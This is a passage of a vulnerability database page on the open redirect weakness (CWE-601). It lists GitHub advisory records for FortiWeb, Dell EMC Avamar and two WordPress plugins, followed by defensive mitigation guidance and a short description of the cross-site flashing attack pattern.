"url": "https://www.vivo.com/en/support/security-advisory-detail?id=1"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-FPGV-9V95-HRGV
Vulnerability from github – Published: 2021-12-09 00:01 – Updated: 2021-12-10 00:01
VLAI
Details
A url redirection to untrusted site ('open redirect') in Fortinet FortiWeb version 6.4.1 and below, 6.3.15 and below allows attacker to use the device as proxy via crafted GET parameters in requests to error handlers
{
"affected": [],
"aliases": [
"CVE-2021-36191"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-12-08T13:15:00Z",
"severity": "MODERATE"
},
"details": "A url redirection to untrusted site (\u0027open redirect\u0027) in Fortinet FortiWeb version 6.4.1 and below, 6.3.15 and below allows attacker to use the device as proxy via crafted GET parameters in requests to error handlers",
"id": "GHSA-fpgv-9v95-hrgv",
"modified": "2021-12-10T00:01:02Z",
"published": "2021-12-09T00:01:02Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-36191"
},
{
"type": "WEB",
"url": "https://fortiguard.com/advisory/FG-IR-21-133"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-FPQR-6JCH-4XHQ
Vulnerability from github – Published: 2022-05-24 19:09 – Updated: 2022-05-24 19:09
VLAI
Details
Dell EMC Avamar Server contains an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect application users to arbitrary web URLs by tricking the victim users to click on maliciously crafted links.
{
"affected": [],
"aliases": [
"CVE-2020-5329"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-07-29T16:15:00Z",
"severity": "MODERATE"
},
"details": "Dell EMC Avamar Server contains an open redirect vulnerability. A remote unauthenticated attacker may exploit this vulnerability to redirect application users to arbitrary web URLs by tricking the victim users to click on maliciously crafted links.",
"id": "GHSA-fpqr-6jch-4xhq",
"modified": "2022-05-24T19:09:18Z",
"published": "2022-05-24T19:09:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-5329"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/security/en-us/details/541529/DSA-2020-046-Dell-EMC-Avamar-Server-Open-Redirect-Vulnerability"
}
],
"schema_version": "1.4.0",
"severity": []
}
GHSA-FPR3-J2R5-95C5
Vulnerability from github – Published: 2024-06-13 06:30 – Updated: 2024-07-02 21:32
VLAI
Details
Themify Builder WordPress plugin before 7.5.8 does not validate a parameter before redirecting the user to its value, leading to an Open Redirect issue
Severity
6.1 (Medium)
{
"affected": [],
"aliases": [
"CVE-2024-3032"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-06-13T06:15:11Z",
"severity": "MODERATE"
},
"details": "Themify Builder WordPress plugin before 7.5.8 does not validate a parameter before redirecting the user to its value, leading to an Open Redirect issue",
"id": "GHSA-fpr3-j2r5-95c5",
"modified": "2024-07-02T21:32:04Z",
"published": "2024-06-13T06:30:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-3032"
},
{
"type": "WEB",
"url": "https://wpscan.com/vulnerability/d130a60c-c36b-4994-9b0e-e52cd7f99387"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-FQ4W-55P7-P77C
Vulnerability from github – Published: 2026-02-19 18:31 – Updated: 2026-02-19 21:30
VLAI
Details
URL Redirection to Untrusted Site ('Open Redirect') vulnerability in KaizenCoders Update URLs – Quick and Easy way to search old links and replace them with new links in WordPress update-urls allows Phishing.This issue affects Update URLs – Quick and Easy way to search old links and replace them with new links in WordPress: from n/a through <= 1.4.0.
Severity
4.7 (Medium)
{
"affected": [],
"aliases": [
"CVE-2026-25392"
],
"database_specific": {
"cwe_ids": [
"CWE-601"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-19T09:16:21Z",
"severity": "MODERATE"
},
"details": "URL Redirection to Untrusted Site (\u0027Open Redirect\u0027) vulnerability in KaizenCoders Update URLs \u0026#8211; Quick and Easy way to search old links and replace them with new links in WordPress update-urls allows Phishing.This issue affects Update URLs \u0026#8211; Quick and Easy way to search old links and replace them with new links in WordPress: from n/a through \u003c= 1.4.0.",
"id": "GHSA-fq4w-55p7-p77c",
"modified": "2026-02-19T21:30:45Z",
"published": "2026-02-19T18:31:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25392"
},
{
"type": "WEB",
"url": "https://patchstack.com/database/Wordpress/Plugin/update-urls/vulnerability/wordpress-update-urls-quick-and-easy-way-to-search-old-links-and-replace-them-with-new-links-in-wordpress-plugin-1-3-0-open-redirection-vulnerability?_s_id=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:N/A:N",
"type": "CVSS_V3"
}
]
}
Mitigation MIT-5
Implementation
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- Use a list of approved URLs or domains to be used for redirection.
Mitigation
Architecture and Design
Use an intermediate disclaimer page that provides the user with a clear warning that they are leaving the current site. Implement a long timeout before the redirect occurs, or force the user to click on the link. Be careful to avoid XSS problems (CWE-79) when generating the disclaimer page.
Mitigation MIT-21.2
Architecture and Design
Strategy: Enforcement by Conversion
- When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- For example, ID 1 could map to "/login.asp" and ID 2 could map to "http://www.example.com/". Features such as the ESAPI AccessReferenceMap [REF-45] provide this capability.
Mitigation
Architecture and Design
Ensure that no externally-supplied requests are honored by requiring that all redirect requests include a unique nonce generated by the application [REF-483]. Be sure that the nonce is not predictable (CWE-330).
Mitigation MIT-6
Architecture and Design
Implementation
Strategy: Attack Surface Reduction
- Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
- Many open redirect problems occur because the programmer assumed that certain inputs could not be modified, such as cookies and hidden form fields.
Mitigation MIT-29
Operation
Strategy: Firewall
Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
CAPEC-178: Cross-Site Flashing
An attacker is able to trick the victim into executing a Flash document that passes commands or calls to a Flash player browser plugin, allowing the attacker to exploit native Flash functionality in the client browser. This attack pattern occurs where an attacker can provide a crafted link to a Flash document (SWF file) which, when followed, will cause additional malicious instructions to be executed. The attacker does not need to serve or control the Flash document. The attack takes advantage of the fact that Flash files can reference external URLs. If variables that serve as URLs that the Flash application references can be controlled through parameters, then by creating a link that includes values for those parameters, an attacker can cause arbitrary content to be referenced and possibly executed by the targeted Flash application.